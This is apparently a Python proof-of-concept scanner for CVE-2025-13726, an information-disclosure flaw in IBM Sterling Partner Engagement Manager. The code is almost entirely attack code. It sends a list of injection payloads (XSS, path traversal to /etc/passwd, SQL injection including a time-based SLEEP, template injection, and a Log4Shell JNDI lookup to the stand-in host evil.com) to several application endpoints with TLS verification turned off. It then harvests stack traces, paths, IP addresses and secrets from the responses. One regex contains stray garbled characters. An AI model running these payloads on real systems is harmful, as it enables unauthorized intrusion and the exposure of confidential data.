# CVE-2025-13726 PoC - Information Disclosure via Error Messages
# Target: IBM Sterling Partner Engagement Manager
# This PoC demonstrates how to trigger detailed error messages
import requests
import re
from urllib.parse import urljoin
TARGET_URL = "https://target-server.example.com:8443"
CVE_ID = "CVE-2025-13726"
def test_error_message_disclosure():
"""Test for CVE-2025-13726 Information Disclosure vulnerability"""
# Common endpoints that may expose sensitive information
test_endpoints = [
"/partnerEngagement",
"/api/partner",
"/ SterlingPartnerEngagement",
"/web/partner",
"/jsp/error.jsp",
"/static/error.html",
"/health",
"/actuator/env"
]
# Payloads to trigger error conditions
payloads = [
{"id": "<script>alert('XSS')</script>"},
{"id": "../../../../etc/passwd"},
{"id": "' OR '1'='1"},
{"id": "999999999999999999"},
{"id": "null"},
{"id": "{{7*7}}"},
{"name": "${jndi:ldap://evil.com/a}"},
{"filter": "test' AND SLEEP(5)--"}
]
headers = {
"User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13726-Scanner/1.0)",
"Accept": "application/json, text/html"
}
vulnerable = False
findings = []
print(f"[*] Scanning for {CVE_ID}")
print(f"[*] Target: {TARGET_URL}")
for endpoint in test_endpoints:
url = urljoin(TARGET_URL, endpoint)
# Test with various payloads
for payload in payloads:
try:
response = requests.get(
url,
params=payload,
headers=headers,
timeout=10,
verify=False
)
# Check for sensitive information in response
sensitive_patterns = [
r"java\.lang\..*Exception",
r"at\s+[\w\.]+\([\w\.]+\.java:\d+\)",
r"SQLException",
r"StackTrace",
r"\.class\.getResource",
r"/home/[\w]+/",
r"C:\\[\\w\\]+\\",
r"password|secret|key\s*=\s*['\"][^'\"жа]+['\"]",
r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}",
r"version\s*[:=]\s*[\d\.]+",
r"at\s+org\.apache",
r"at\s+org\.springframework"
]
for pattern in sensitive_patterns:
matches = re.findall(pattern, response.text, re.IGNORECASE)
if matches:
vulnerable = True
findings.append({
"url": url,
"payload": str(payload),
"pattern": pattern,
"matches": matches[:5] # Limit matches shown
})
print(f"[!] Potential vulnerability found at {url}")
print(f" Payload: {payload}")
print(f" Matched: {matches[:3]}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed for {url}: {e}")
# Generate report
if vulnerable:
print(f"\n[!] {CVE_ID} - Information Disclosure Vulnerability CONFIRMED")
print(f"[!] Found {len(findings)} potential information leaks")
return findings
else:
print(f"\n[*] No obvious vulnerability indicators found")
print(f"[*] Manual testing recommended")
return []
if __name__ == "__main__":
results = test_error_message_disclosure()
# Save results
import json
with open(f"{CVE_ID}_scan_results.json", "w") as f:
json.dump(results, f, indent=2)
print(f"\n[*] Results saved to {CVE_ID}_scan_results.json")